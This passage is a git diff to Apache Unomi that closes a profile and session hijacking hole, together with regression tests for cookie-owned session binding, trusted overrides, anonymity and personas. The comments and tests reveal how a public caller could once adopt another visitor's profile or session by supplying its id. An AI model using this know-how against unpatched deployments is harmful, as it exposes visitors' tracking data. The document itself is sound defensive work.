eventsRequestContext.setSession(profileService.loadSession(effectiveSessionId)); if (eventsRequestContext.getSession() != null) { sessionProfile = eventsRequestContext.getSession().getProfile(); @@ -171,42 +219,63 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St if (!eventsRequestContext.getProfile().isAnonymousProfile() && !anonymousSessionProfile && !eventsRequestContext.getProfile().getItemId().equals(sessionProfile.getItemId())) { - // Session user has been switched, profile id in cookie is not up to date - // We must reload the profile with the session ID as some properties could be missing from the session profile - // #personalIdentifier - Profile sessionProfileWithId = profileService.load(sessionProfile.getItemId()); - if (sessionProfileWithId != null) { - eventsRequestContext.setProfile(sessionProfileWithId); + // Session profile differs from the request profile. Only switch when the + // cookie bearer already matches the session owner, or the caller is trusted — + // unless a trusted caller explicitly overrode the profile via the body. + boolean cookieOwnsSession = cookieProfileIdAtRequest != null + && cookieProfileIdAtRequest.equals(sessionProfile.getItemId()); + if (!trustedExplicitProfileOverride && (cookieOwnsSession || trustedCaller)) { + Profile sessionProfileWithId = profileService.load(sessionProfile.getItemId()); + if (sessionProfileWithId != null) { + eventsRequestContext.setProfile(sessionProfileWithId); + } else { + LOGGER.warn("Couldn't find profile ID {} referenced from session with ID {}, so we re-create it", + LogSanitizer.forLogging(sessionProfile.getItemId()), LogSanitizer.forLogging(effectiveSessionId)); + eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(), timestamp)); + } + } else if (trustedExplicitProfileOverride) { + LOGGER.debug("Keeping trusted body profileId {} despite session/cookie mismatch", + eventsRequestContext.getProfile().getItemId()); } else { - LOGGER.warn("Couldn't find profile ID {} referenced from session with ID {}, so we re-create it", sessionProfile.getItemId(), sessionId); - eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(), timestamp)); + LOGGER.warn("Refusing to switch profile from {} to session profile {} without matching cookie bearer; " + + "detaching session {} for this request", + LogSanitizer.forLogging(eventsRequestContext.getProfile().getItemId()), + LogSanitizer.forLogging(sessionProfile.getItemId()), LogSanitizer.forLogging(effectiveSessionId)); + // Detach so we neither adopt the foreign profile nor rebind the foreign + // session. No session exists for the rest of the request; the response + // must not echo the refused id back (see EventsRequestContext#isSessionRefused). + eventsRequestContext.setSession(null); + eventsRequestContext.setSessionRefused(true); + effectiveSessionId = null; } } - // Handle anonymous situation - Boolean requireAnonymousBrowsing = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile()); - if (requireAnonymousBrowsing && anonymousSessionProfile) { - // User wants to browse anonymously, anonymous profile is already set. - } else if (requireAnonymousBrowsing && !anonymousSessionProfile) { - // User wants to browse anonymously, update the sessionProfile to anonymous profile - sessionProfile = privacyService.getAnonymousProfile(eventsRequestContext.getProfile()); - eventsRequestContext.getSession().setProfile(sessionProfile); - eventsRequestContext.addChanges(EventService.SESSION_UPDATED); - } else if (!requireAnonymousBrowsing && anonymousSessionProfile) { - // User does not want to browse anonymously anymore, update the sessionProfile to real profile - sessionProfile = eventsRequestContext.getProfile(); - eventsRequestContext.getSession().setProfile(sessionProfile); - eventsRequestContext.addChanges(EventService.SESSION_UPDATED); - } else if (!requireAnonymousBrowsing && !anonymousSessionProfile) { - // User does not want to browse anonymously, use the real profile. Check that session contains the current profile. - sessionProfile = eventsRequestContext.getProfile(); - if (sessionProfile != null) { - if (!eventsRequestContext.getSession().getProfileId().equals(sessionProfile.getItemId())) { - eventsRequestContext.addChanges(EventService.SESSION_UPDATED); - } + // Handle anonymous situation (only when we still hold a session) + if (eventsRequestContext.getSession() != null) { + Boolean requireAnonymousBrowsing = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile()); + if (requireAnonymousBrowsing && anonymousSessionProfile) { + // User wants to browse anonymously, anonymous profile is already set. + } else if (requireAnonymousBrowsing && !anonymousSessionProfile) { + // User wants to browse anonymously, update the sessionProfile to anonymous profile + sessionProfile = privacyService.getAnonymousProfile(eventsRequestContext.getProfile()); eventsRequestContext.getSession().setProfile(sessionProfile); - } else { - LOGGER.warn("Null profile in event request context"); + eventsRequestContext.addChanges(EventService.SESSION_UPDATED); + } else if (!requireAnonymousBrowsing && anonymousSessionProfile) { + // User does not want to browse anonymously anymore, update the sessionProfile to real profile + sessionProfile = eventsRequestContext.getProfile(); + eventsRequestContext.getSession().setProfile(sessionProfile); + eventsRequestContext.addChanges(EventService.SESSION_UPDATED); + } else if (!requireAnonymousBrowsing && !anonymousSessionProfile) { + // User does not want to browse anonymously, use the real profile. Check that session contains the current profile. + sessionProfile = eventsRequestContext.getProfile(); + if (sessionProfile != null) { + if (!eventsRequestContext.getSession().getProfileId().equals(sessionProfile.getItemId())) { + eventsRequestContext.addChanges(EventService.SESSION_UPDATED); + } + eventsRequestContext.getSession().setProfile(sessionProfile); + } else { + LOGGER.warn("Null profile in event request context"); + } } } } @@ -217,10 +286,10 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St sessionProfile = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile()) ? privacyService.getAnonymousProfile(eventsRequestContext.getProfile()) : eventsRequestContext.getProfile(); - if (StringUtils.isNotBlank(sessionId)) { + if (StringUtils.isNotBlank(effectiveSessionId)) { // Only save session and send event if a session id was provided, otherwise keep transient session - Session session = new Session(sessionId, sessionProfile, timestamp, scope); + Session session = new Session(effectiveSessionId, sessionProfile, timestamp, scope); eventsRequestContext.setSession(session); eventsRequestContext.setNewSession(true); eventsRequestContext.addChanges(EventService.SESSION_UPDATED); @@ -400,6 +469,16 @@ private Profile createNewProfile(String existingProfileId, Date timestamp) { return profile; } + /** + * System or tenant administrators may override profile/session binding; public callers may not. + *

+ * A tenant private key authenticates as {@link UnomiRoles#TENANT_ADMINISTRATOR}, so integrations + * using one are trusted here; a tenant public API key is not. + */ + private boolean isTrustedProfileCaller() { + return securityService != null && securityService.hasSystemAccess(); + } + /** * Check if an event is allowed in V2 compatibility mode. * In V2, protected events required IP + X-Unomi-Peer (third-party key) authentication. diff --git a/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java b/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java index 0b75e4e94a..36dc25fa94 100644 --- a/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java +++ b/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java @@ -37,6 +37,7 @@ public class EventsRequestContext { private Session session; private boolean newSession = false; + private boolean sessionRefused = false; private HttpServletRequest request; private HttpServletResponse response; private int changes; @@ -138,6 +139,30 @@ public void setNewSession(boolean newSession) { this.newSession = newSession; } + /** + * Returns whether the session id supplied with the request was refused. + *

+ * A public caller may only continue a session that the profile cookie it presented already + * owns. When it supplies someone else's session id the session is detached rather than + * rebound, and no session exists for the rest of the request. Callers building a response must + * not echo the supplied session id back in that case, or the client would believe its session + * was accepted and keep replaying the same rejected id. + * + * @return {@code true} when the supplied session id was rejected + */ + public boolean isSessionRefused() { + return sessionRefused; + } + + /** + * Records that the session id supplied with the request was refused. + * + * @param sessionRefused {@code true} when the supplied session id was rejected + */ + public void setSessionRefused(boolean sessionRefused) { + this.sessionRefused = sessionRefused; + } + /** * Returns the accumulated event-processing change flags. * diff --git a/rest/src/test/java/org/apache/unomi/rest/config/ShippedProfileCookieConfigTest.java b/rest/src/test/java/org/apache/unomi/rest/config/ShippedProfileCookieConfigTest.java new file mode 100644 index 0000000000..fe27728e99 --- /dev/null +++ b/rest/src/test/java/org/apache/unomi/rest/config/ShippedProfileCookieConfigTest.java @@ -0,0 +1,67 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.rest.config; + +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Pins the shipped default of the profile cookie's HttpOnly flag. + *

+ * Binding a public caller to the profile its cookie names only holds while that cookie cannot be + * read from page script, so the shipped default is part of the fix rather than a preference. The + * two files below are the ones an operator actually gets, which is why they are read here instead + * of asserting on {@code WebConfig}'s field default. + */ +class ShippedProfileCookieConfigTest { + + /** + * The two files under test double as the fingerprint of the repository root: a directory + * holding both is the Unomi checkout rather than a nested copy or a same-named ancestor. + */ + private static final String WEB_CFG_PATH = "web-servlets/src/main/resources/org.apache.unomi.web.cfg"; + private static final String SYSTEM_PROPERTIES_PATH = "package/src/main/resources/etc/custom.system.properties"; + + @Test + void profileCookieHttpOnly_defaultsToTrue() throws Exception { + String webCfg = Files.readString(repoFile(WEB_CFG_PATH)); + assertTrue(webCfg.matches("(?s).*profileIdCookieHttpOnly=\\$\\{[^}]*:-true}.*"), + "profileId cookie HttpOnly should default to true in " + WEB_CFG_PATH); + + String systemProperties = Files.readString(repoFile(SYSTEM_PROPERTIES_PATH)); + assertTrue(systemProperties.matches("(?s).*org\\.apache\\.unomi\\.profile\\.cookie\\.httpOnly=\\$\\{[^}]*:-true}.*"), + "profile cookie HttpOnly should default to true in " + SYSTEM_PROPERTIES_PATH); + } + + private static Path repoFile(String relativePath) throws IOException { + Path candidate = Paths.get("").toAbsolutePath(); + while (candidate != null) { + if (Files.isRegularFile(candidate.resolve(WEB_CFG_PATH)) + && Files.isRegularFile(candidate.resolve(SYSTEM_PROPERTIES_PATH))) { + return candidate.resolve(relativePath); + } + candidate = candidate.getParent(); + } + throw new IOException("could not locate the Unomi repository root from " + Paths.get("").toAbsolutePath()); + } +} diff --git a/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java b/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java new file mode 100644 index 0000000000..86bebdfeaa --- /dev/null +++ b/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java @@ -0,0 +1,526 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.rest.service.impl; + +import org.apache.unomi.api.Persona; +import org.apache.unomi.api.PersonaSession; +import org.apache.unomi.api.PersonaWithSessions; +import org.apache.unomi.api.Profile; +import org.apache.unomi.api.Session; +import org.apache.unomi.api.security.SecurityService; +import org.apache.unomi.api.security.UnomiRoles; +import org.apache.unomi.api.services.ConfigSharingService; +import org.apache.unomi.api.services.EventService; +import org.apache.unomi.api.services.PrivacyService; +import org.apache.unomi.api.services.ProfileService; +import org.apache.unomi.rest.authentication.RestAuthenticationConfig; +import org.apache.unomi.rest.authentication.V2ThirdPartyConfigService; +import org.apache.unomi.schema.api.SchemaService; +import org.apache.unomi.utils.EventsRequestContext; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.Mock; +import org.mockito.junit.jupiter.MockitoExtension; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.util.Collections; +import java.util.Date; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.lenient; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Regression tests for public profileId/sessionId bearer binding on context/eventcollector paths. + */ +@ExtendWith(MockitoExtension.class) +class RestServiceUtilsImplProfileBindingTest { + + private static final String COOKIE_NAME = "context-profile-id"; + + @Mock private ConfigSharingService configSharingService; + @Mock private PrivacyService privacyService; + @Mock private EventService eventService; + @Mock private ProfileService profileService; + @Mock private SchemaService schemaService; + @Mock private RestAuthenticationConfig restAuthenticationConfig; + @Mock private V2ThirdPartyConfigService v2ThirdPartyConfigService; + @Mock private SecurityService securityService; + @Mock private HttpServletRequest request; + @Mock private HttpServletResponse response; + + private RestServiceUtilsImpl restServiceUtils; + + @BeforeEach + void setUp() throws Exception { + restServiceUtils = new RestServiceUtilsImpl(); + setField(restServiceUtils, "configSharingService", configSharingService); + setField(restServiceUtils, "privacyService", privacyService); + setField(restServiceUtils, "eventService", eventService); + setField(restServiceUtils, "profileService", profileService); + setField(restServiceUtils, "schemaService", schemaService); + setField(restServiceUtils, "restAuthenticationConfig", restAuthenticationConfig); + setField(restServiceUtils, "v2ThirdPartyConfigService", v2ThirdPartyConfigService); + setField(restServiceUtils, "securityService", securityService); + + lenient().when(configSharingService.getProperty("profileIdCookieName")).thenReturn(COOKIE_NAME); + lenient().when(schemaService.isValid(anyString(), anyString())).thenReturn(true); + lenient().when(securityService.hasSystemAccess()).thenReturn(false); + lenient().when(privacyService.isRequireAnonymousBrowsing(org.mockito.ArgumentMatchers.any(Profile.class))).thenReturn(false); + } + + @Test + void initEventsRequest_ignoresMismatchedBodyProfileIdForPublicCaller() { + Profile cookieProfile = new Profile("cookie-profile"); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, "public-supplied-profile", null, + false, false, request, response, new Date()); + + assertEquals("cookie-profile", ctx.getProfile().getItemId()); + verify(profileService).load("cookie-profile"); + verify(profileService, never()).load("public-supplied-profile"); + } + + @Test + void initEventsRequest_ignoresBodyProfileIdWithoutCookieForPublicCaller() { + when(request.getCookies()).thenReturn(null); + + try { + restServiceUtils.initEventsRequest( + "systemscope", null, "other-profile-id", null, + false, false, request, response, new Date()); + throw new AssertionError("Expected BadRequestException when public caller has only a body profileId"); + } catch (javax.ws.rs.BadRequestException expected) { + // Body profileId is ignored; with no cookie/session the request cannot bind a profile + } + + verify(profileService, never()).load("other-profile-id"); + } + + @Test + void initEventsRequest_allowsBodyProfileIdWhenItMatchesCookie() { + Profile profile = new Profile("same-profile"); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "same-profile")}); + when(profileService.load("same-profile")).thenReturn(profile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, "same-profile", null, + false, false, request, response, new Date()); + + assertEquals("same-profile", ctx.getProfile().getItemId()); + } + + @Test + void initEventsRequest_refusesSessionProfileSwitchWithoutMatchingCookie() { + Profile cookieProfile = new Profile("cookie-profile"); + Profile sessionOwner = new Profile("session-owner"); + Session session = new Session("sess-1", sessionOwner, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("sess-1")).thenReturn(session); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess-1", "cookie-profile", null, + false, false, request, response, new Date()); + + assertEquals("cookie-profile", ctx.getProfile().getItemId()); + // Foreign session must be detached (not rebound to the cookie profile) + assertEquals(null, ctx.getSession()); + assertEquals("session-owner", session.getProfileId()); + verify(profileService, never()).load("session-owner"); + } + + @Test + void initEventsRequest_trustedAdminMayUseBodyProfileIdOverride() { + Profile bodyProfile = new Profile("admin-chosen"); + when(securityService.hasSystemAccess()).thenReturn(true); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("admin-chosen")).thenReturn(bodyProfile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, "admin-chosen", null, + false, false, request, response, new Date()); + + assertEquals("admin-chosen", ctx.getProfile().getItemId()); + } + + @Test + void initEventsRequest_trustedBodyOverride_notUndoneByMatchingCookieSession() { + when(securityService.hasSystemAccess()).thenReturn(true); + + Profile cookieProfile = new Profile("cookie-profile"); + Profile bodyProfile = new Profile("admin-chosen"); + Session session = new Session("sess-1", cookieProfile, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("admin-chosen")).thenReturn(bodyProfile); + when(profileService.loadSession("sess-1")).thenReturn(session); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess-1", "admin-chosen", null, + false, false, request, response, new Date()); + + assertEquals("admin-chosen", ctx.getProfile().getItemId()); + } + + @Test + void initEventsRequest_trustedCaller_maySwitchToSessionProfile() { + when(securityService.hasSystemAccess()).thenReturn(true); + + Profile cookieProfile = new Profile("cookie-profile"); + Profile sessionOwner = new Profile("session-owner"); + Session session = new Session("sess-1", sessionOwner, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("sess-1")).thenReturn(session); + when(profileService.load("session-owner")).thenReturn(sessionOwner); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess-1", "cookie-profile", null, + false, false, request, response, new Date()); + + assertEquals("session-owner", ctx.getProfile().getItemId()); + } + + /** + * {@code invalidateSession} re-creates the session bound to the supplied id, so it must not + * be usable to sidestep the ownership rule that the binding path applies: a public caller may + * only invalidate a session its own cookie already owns. + */ + @Test + void initEventsRequest_publicCallerCannotInvalidateAForeignSession() { + Profile cookieProfile = new Profile("cookie-profile"); + Profile sessionOwner = new Profile("session-owner"); + Session foreignSession = new Session("foreign-sess", sessionOwner, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("foreign-sess")).thenReturn(foreignSession); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "foreign-sess", null, null, + false, true, request, response, new Date()); + + assertEquals("cookie-profile", ctx.getProfile().getItemId()); + assertTrue(ctx.isSessionRefused(), "the refusal must be visible to the endpoint building the response"); + assertNull(ctx.getSession(), "no session may be created for a refused id"); + // The refused id must not be written back over the real owner's session. + verify(profileService, never()).saveSession(org.mockito.ArgumentMatchers.any(Session.class)); + } + + /** The same call is legitimate for a trusted caller, which may rebind sessions deliberately. */ + @Test + void initEventsRequest_trustedCallerMayInvalidateAForeignSession() { + when(securityService.hasSystemAccess()).thenReturn(true); + + Profile cookieProfile = new Profile("cookie-profile"); + Profile sessionOwner = new Profile("session-owner"); + Session foreignSession = new Session("foreign-sess", sessionOwner, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + lenient().when(profileService.loadSession("foreign-sess")).thenReturn(foreignSession); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "foreign-sess", null, null, + false, true, request, response, new Date()); + + assertFalse(ctx.isSessionRefused()); + assertNotNull(ctx.getSession(), "a trusted caller still gets a session for the supplied id"); + assertEquals("foreign-sess", ctx.getSession().getItemId()); + } + + /** A public caller invalidating a session it already owns is normal and must keep working. */ + @Test + void initEventsRequest_publicCallerMayInvalidateItsOwnSession() { + Profile cookieProfile = new Profile("cookie-profile"); + Session ownSession = new Session("own-sess", cookieProfile, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + lenient().when(profileService.loadSession("own-sess")).thenReturn(ownSession); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "own-sess", null, null, + false, true, request, response, new Date()); + + assertFalse(ctx.isSessionRefused()); + assertNotNull(ctx.getSession()); + assertEquals("own-sess", ctx.getSession().getItemId()); + } + + // --------------------------------------------------------------------------------------- + // Anonymous browsing. All four branches of the anonymity handling in initEventsRequest are + // pinned here BEFORE any change to the session-ownership check, because the ownership check + // currently skips anonymous profiles entirely: tightening it without this safety net would + // silently detach the session of every legitimately anonymous visitor on every request. + // --------------------------------------------------------------------------------------- + + /** + * Branch 1: the visitor wants anonymity and the session already carries an anonymous profile, + * so nothing changes. This is the steady state of an anonymous visitor and must stay a no-op. + */ + @Test + void anonymousBrowsing_alreadyAnonymousSession_isLeftUntouched() { + Profile cookieProfile = new Profile("cookie-profile"); + Profile anonymousProfile = anonymous(); + Session session = new Session("anon-sess", anonymousProfile, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("anon-sess")).thenReturn(session); + when(privacyService.isRequireAnonymousBrowsing(cookieProfile)).thenReturn(true); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "anon-sess", null, null, + false, false, request, response, new Date()); + + assertFalse(ctx.isSessionRefused(), "an anonymous visitor's own session must not be refused"); + assertNotNull(ctx.getSession()); + assertTrue(ctx.getSession().getProfile().isAnonymousProfile(), + "the session must keep its anonymous profile"); + assertEquals("cookie-profile", ctx.getProfile().getItemId(), + "the request profile stays the real cookie profile"); + } + + /** + * Branch 2: the visitor has just asked for anonymity while their session still carries the real + * profile, so the session is switched to an anonymous profile. This is how anonymity is entered. + */ + @Test + void anonymousBrowsing_entering_replacesSessionProfileWithAnonymous() { + Profile cookieProfile = new Profile("cookie-profile"); + Session session = new Session("sess", cookieProfile, new Date(), "systemscope"); + Profile anonymousProfile = anonymous(); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("sess")).thenReturn(session); + when(privacyService.isRequireAnonymousBrowsing(cookieProfile)).thenReturn(true); + when(privacyService.getAnonymousProfile(cookieProfile)).thenReturn(anonymousProfile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess", null, null, + false, false, request, response, new Date()); + + assertFalse(ctx.isSessionRefused()); + assertTrue(ctx.getSession().getProfile().isAnonymousProfile(), + "entering anonymity must swap the session profile for an anonymous one"); + assertTrue((ctx.getChanges() & EventService.SESSION_UPDATED) != 0, + "the session change must be flagged so it is persisted"); + } + + /** + * Branch 3: the visitor has turned anonymity off, so their anonymous session is bound back to + * their real profile. This is the branch an ownership check would most easily break, and it is + * also the branch an untrusted caller reaches with a reused anonymous session id — so it must keep + * working for the legitimate case while the fix is designed. + */ + @Test + void anonymousBrowsing_leaving_rebindsSessionToTheRealProfile() { + Profile cookieProfile = new Profile("cookie-profile"); + Session session = new Session("anon-sess", anonymous(), new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("anon-sess")).thenReturn(session); + when(privacyService.isRequireAnonymousBrowsing(cookieProfile)).thenReturn(false); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "anon-sess", null, null, + false, false, request, response, new Date()); + + assertFalse(ctx.isSessionRefused()); + assertNotNull(ctx.getSession()); + assertEquals("cookie-profile", ctx.getSession().getProfile().getItemId(), + "leaving anonymity must bind the session back to the visitor's real profile"); + } + + /** Branch 4: the ordinary non-anonymous case — the session is bound to the caller's profile. */ + @Test + void anonymousBrowsing_notAnonymousAtAll_bindsSessionToCallerProfile() { + Profile cookieProfile = new Profile("cookie-profile"); + Session session = new Session("sess", cookieProfile, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("sess")).thenReturn(session); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess", null, null, + false, false, request, response, new Date()); + + assertFalse(ctx.isSessionRefused()); + assertEquals("cookie-profile", ctx.getSession().getProfile().getItemId()); + } + + // --------------------------------------------------------------------------------------- + // Personas. A personaId short-circuits binding entirely: the profile and session both come + // from the persona, and the cookie/body binding logic below it never runs. Nothing covered + // this before, so a change to the binding code could have silently broken persona preview. + // --------------------------------------------------------------------------------------- + + /** A persona overrides the cookie profile outright, and brings its own session with it. */ + @Test + void persona_overridesCookieProfileAndSuppliesItsOwnSession() { + Persona persona = new Persona("persona-1"); + PersonaSession personaSession = new PersonaSession("persona-sess", persona, new Date()); + PersonaWithSessions personaWithSessions = + new PersonaWithSessions(persona, Collections.singletonList(personaSession)); + + lenient().when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.loadPersonaWithSessions("persona-1")).thenReturn(personaWithSessions); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, null, "persona-1", + false, false, request, response, new Date()); + + assertEquals("persona-1", ctx.getProfile().getItemId(), "the persona must win over the cookie"); + assertNotNull(ctx.getSession(), "the persona's own session must be used"); + assertEquals("persona-sess", ctx.getSession().getItemId()); + verify(profileService, never()).load("cookie-profile"); + } + + /** A persona also wins over an explicitly supplied body profileId. */ + @Test + void persona_winsOverBodyProfileId() { + Persona persona = new Persona("persona-1"); + PersonaWithSessions personaWithSessions = + new PersonaWithSessions(persona, Collections.singletonList( + new PersonaSession("persona-sess", persona, new Date()))); + + when(profileService.loadPersonaWithSessions("persona-1")).thenReturn(personaWithSessions); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, "some-other-profile", "persona-1", + false, false, request, response, new Date()); + + assertEquals("persona-1", ctx.getProfile().getItemId()); + verify(profileService, never()).load("some-other-profile"); + } + + /** + * An unknown persona must not blow up the request: the persona is simply not applied and the + * normal cookie binding takes over, so a stale persona id degrades to ordinary tracking. + */ + @Test + void persona_unknownId_fallsBackToNormalCookieBinding() { + Profile cookieProfile = new Profile("cookie-profile"); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadPersonaWithSessions("missing-persona")).thenReturn(null); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, null, "missing-persona", + false, false, request, response, new Date()); + + assertEquals("cookie-profile", ctx.getProfile().getItemId()); + } + + // --------------------------------------------------------------------------------------- + // invalidateProfile. Untested at IT level, and it sits inside the same block the security + // changes rewrote, so pin it: it must still hand the visitor a brand new profile rather than + // reusing the cookie one. + // --------------------------------------------------------------------------------------- + + /** invalidateProfile discards the cookie profile and issues a fresh one. */ + @Test + void invalidateProfile_issuesANewProfileInsteadOfTheCookieOne() { + Profile cookieProfile = new Profile("cookie-profile"); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + lenient().when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, null, null, + true, false, request, response, new Date()); + + assertNotNull(ctx.getProfile()); + assertFalse("cookie-profile".equals(ctx.getProfile().getItemId()), + "invalidateProfile must not reuse the cookie profile"); + } + + /** invalidateProfile is honoured for a trusted caller too, not silently swallowed by the trust path. */ + @Test + void invalidateProfile_alsoAppliesForTrustedCallers() { + when(securityService.hasSystemAccess()).thenReturn(true); + Profile cookieProfile = new Profile("cookie-profile"); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + lenient().when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, null, null, + true, false, request, response, new Date()); + + assertNotNull(ctx.getProfile()); + assertFalse("cookie-profile".equals(ctx.getProfile().getItemId())); + } + + /** + * A trusted server-side integration has no browser and therefore no profile cookie, so an + * explicit body profileId is the only way it can name the profile it means. Before the fix the + * override only counted when a cookie was also present, so this request had its profile silently + * replaced by the session's owner - the opposite of the documented behaviour for trusted callers. + */ + @Test + void trustedCaller_explicitBodyProfileId_survivesWithoutACookie() { + when(securityService.hasSystemAccess()).thenReturn(true); + Profile intended = new Profile("intended-profile"); + Profile sessionOwner = new Profile("session-owner"); + Session session = new Session("sess-1", sessionOwner, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(null); + when(profileService.load("intended-profile")).thenReturn(intended); + when(profileService.loadSession("sess-1")).thenReturn(session); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess-1", "intended-profile", null, + false, false, request, response, new Date()); + + assertEquals("intended-profile", ctx.getProfile().getItemId(), + "a trusted caller's explicit profileId must not be overridden by the session owner"); + verify(profileService, never()).load("session-owner"); + } + + /** A profile carrying the anonymous marker, as {@code PrivacyService#getAnonymousProfile} builds it. */ + 